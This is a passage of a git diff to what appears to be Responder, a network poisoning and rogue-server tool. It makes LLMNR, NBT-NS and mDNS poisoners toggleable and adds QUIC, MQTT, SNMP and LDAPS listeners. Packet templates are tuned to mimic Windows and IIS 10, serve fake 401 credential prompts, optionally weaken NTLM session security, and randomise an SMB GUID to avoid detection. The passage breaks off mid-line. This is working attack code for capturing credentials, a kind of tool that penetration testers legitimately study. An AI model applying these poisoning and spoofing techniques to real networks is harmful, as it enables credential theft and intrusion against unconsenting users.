socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) else: - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -138,10 +157,12 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) @@ -155,8 +176,9 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) #IPV6: - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -164,29 +186,36 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) ThreadingUDPServer.allow_reuse_address = 1 -ThreadingUDPServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPServer.address_family = socket.AF_INET6 ThreadingTCPServer.allow_reuse_address = 1 -ThreadingTCPServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingTCPServer.address_family = socket.AF_INET6 ThreadingUDPMDNSServer.allow_reuse_address = 1 -ThreadingUDPMDNSServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPMDNSServer.address_family = socket.AF_INET6 ThreadingUDPLLMNRServer.allow_reuse_address = 1 -ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 ThreadingTCPServerAuth.allow_reuse_address = 1 -ThreadingTCPServerAuth.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingTCPServerAuth.address_family = socket.AF_INET6 def serve_thread_udp_broadcast(host, port, handler): try: @@ -269,20 +298,27 @@ def main(): if (sys.version_info < (3, 0)): print(color('\n\n[-]', 3, 1) + " Still using python 2? :(") print(color('\n[+]', 2, 1) + " Listening for events...\n") - + threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners - from poisoners.LLMNR import LLMNR - from poisoners.NBTNS import NBTNS - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + if settings.Config.LLMNR_On_Off: + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + if settings.Config.NBTNS_On_Off: + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + + if settings.Config.MDNS_On_Off: + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + + #// Vintage Responder BOWSER module, now disabled by default. + #// Generate to much noise & easily detectable on the network when in analyze mode. # Load Browser Listener - from servers.Browser import Browser - threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) + #from servers.Browser import Browser + #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) if settings.Config.HTTP_On_Off: from servers.HTTP import HTTP @@ -311,7 +347,7 @@ def main(): if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy - threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: from servers.Proxy_Auth import Proxy_Auth @@ -327,6 +363,12 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) + if settings.Config.QUIC_On_Off: + from servers.QUIC import start_quic_server + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key)))) + if settings.Config.Krb_On_Off: from servers.Kerberos import KerbTCP, KerbUDP threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) @@ -348,8 +390,13 @@ def main(): if settings.Config.LDAP_On_Off: from servers.LDAP import LDAP, CLDAP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) + threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) + if settings.Config.MQTT_On_Off: + from servers.MQTT import MQTT + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,))) + if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,))) @@ -364,12 +411,19 @@ def main(): threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) + if settings.Config.SNMP_On_Off: + from servers.SNMP import SNMP + threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,))) + for thread in threads: thread.daemon = True thread.start() if settings.Config.AnalyzeMode: print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) + if settings.Config.Quiet_Mode: + print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1)) + if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP diff --git a/packets.py b/packets.py old mode 100755 new mode 100644 index 03ec50f..bb3134e --- a/packets.py +++ b/packets.py @@ -52,7 +52,7 @@ class NBT_Ans(Packet): ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), + ("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior) ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), @@ -215,7 +215,7 @@ class DNS_SRV_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] DNSName = ''.join(data[12:].split('\x00')[:1]) - SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld + SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld #What's the question? we need it first to calc all other len. self.fields["QuestionName"] = DNSName @@ -263,7 +263,7 @@ class LLMNR_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type1", "\x00\x1c"), ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior). ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -316,7 +316,7 @@ class MDNS_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -338,7 +338,7 @@ class MDNS6_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type", "\x00\x1c"), ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -359,13 +359,13 @@ class NTLM_Challenge(Packet): ("TargetNameLen", "\x06\x00"), ("TargetNameMaxLen", "\x06\x00"), ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), + ("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"), ("ServerChallenge", ""), ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), @@ -426,25 +426,59 @@ class NTLM_Challenge(Packet): class IIS_Auth_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"), + ("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"), + ("Len", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", """ + + + +401 - Unauthorized: Access is denied due to invalid credentials. + + + + +
+
+

401 - Unauthorized: Access is denied due to invalid credentials.

+

You do not have permission to view this directory or page using the credentials that you supplied.

+
+
+ + +"""), ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) class IIS_Auth_Granted(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), + ("Payload", ""), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -452,22 +486,29 @@ class IIS_Auth_Granted(Packet): class IIS_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "WWW-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload2", """ +Not Authorized + +

Not Authorized

+

HTTP Error 401. The requested resource requires user authentication.

+ +"""), ]) - - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload2"])) class WinRM_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ - ("Code", "HTTP/1.1 401 \r\n"), + ("Code", "HTTP/1.1 401\r\n"), ("WWWAuth", "WWW-Authenticate: Negotiate "), ("Payload", ""), ("Payload-CRLF", "\r\n"), @@ -483,23 +524,54 @@ class WinRM_NTLM_Challenge_Ans(Packet): class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), - ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), - ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Len", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", """ + + + +401 - Unauthorized: Access is denied due to invalid credentials. + + + + +
+
+

401 - Unauthorized: Access is denied due to invalid credentials.

+

You do not have permission to view this directory or page using the credentials that you supplied.

+
+
+ + +"""), ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) ##### Proxy mode Packets ##### class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("Cache", "Pragma: no-cache\r\n"), + ("Server", "Server: BigIP\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), @@ -514,7 +586,7 @@ class ServeExeFile(Packet): ("ContentType", "Content-Type: application/octet-stream\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("Server", "Server: Microsoft-IIS/10.0\r\n"), ("ContentDisp", "Content-Disposition: attachment; filename="), ("ContentDiFile", ""), ("FileCRLF", ";\r\n"), @@ -536,7 +608,7 @@ class ServeHtmlFile(Packet): ("ContentType", "Content-Type: text/html\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("Server", "Server: Microsoft-IIS/10.0\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"), @@ -551,7 +623,7 @@ class ServeHtmlFile(Packet): class WPAD_Auth_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), @@ -567,7 +639,7 @@ class WPAD_Auth_407_Ans(Packet): class WPAD_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "Proxy-Authenticate: NTLM "), @@ -583,7 +655,7 @@ class WPAD_NTLM_Challenge_Ans(Packet): class WPAD_Basic_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"), @@ -600,7 +672,7 @@ class WEBDAV_Options_Answer(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), ("Len", "Content-Length: 0\r\n"), ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), @@ -688,7 +760,7 @@ class MSSQLNTLMChallengeAnswer(Packet): ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), @@ -800,6 +872,24 @@ class IMAPCapabilityEnd(Packet): ("CRLF", "\r\n"), ]) +##### MQTT Packets ##### +class MQTTv3v4ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x02"), + ("Session", "\x00"), + ("Code", "\x04"), + ]) + +class MQTTv5ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x03"), + ("Session", "\x00"), + ("Code", "\x86"), + ("Prop", "\x00"), + ]) + ##### POP3 Packets ##### class POPOKPacket(Packet): fields = OrderedDict([ @@ -945,9 +1035,9 @@ class LDAPNTLMChallenge(Packet): ("NTLMSSPNtTargetInfoLen", "\x94\x00"), ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh", "\x05"), - ("NegTokenInitSeqMechMessageVersionLow", "\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), + ("NegTokenInitSeqMechMessageVersionHigh", "\x0a"), + ("NegTokenInitSeqMechMessageVersionLow", "\x00"), + ("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"), ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), ("NTLMSSPNtWorkstationName", settings.Config.Domain), @@ -1678,7 +1768,7 @@ class SMB2NegoAns(Packet): ("Signing", "\x01\x00"), ("Dialect", "\xff\x02"), ("Reserved", "\x00\x00"), - ("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"), + ("Guid", urandom(16).decode('latin-1')), ("Capabilities", "\x07\x00\x00\x00"), ("MaxTransSize", "\x00\x00\x10\x00"), ("MaxReadSize", "\x00\x00\x10\x00"), @@ -1701,9 +1791,9 @@ class SMB2NegoAns(Packet): ("NegTokenTag0ASNLen", "\x3c"), ("NegThisMechASNId", "\x30"), ("NegThisMechASNLen", "\x3a"), - ("NegThisMech1ASNId", "\x06"), - ("NegThisMech1ASNLen", "\x0a"), - ("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), + #("NegThisMech1ASNId", "\x06"), + #("NegThisMech1ASNLen", "\x0a"), + #("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), ("NegThisMech2ASNId", "\x06"), ("NegThisMech2ASNLen", "\x09"), ("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"), @@ -1732,14 +1822,14 @@ class SMB2NegoAns(Packet): StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"]) - SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + AsnLen2 = 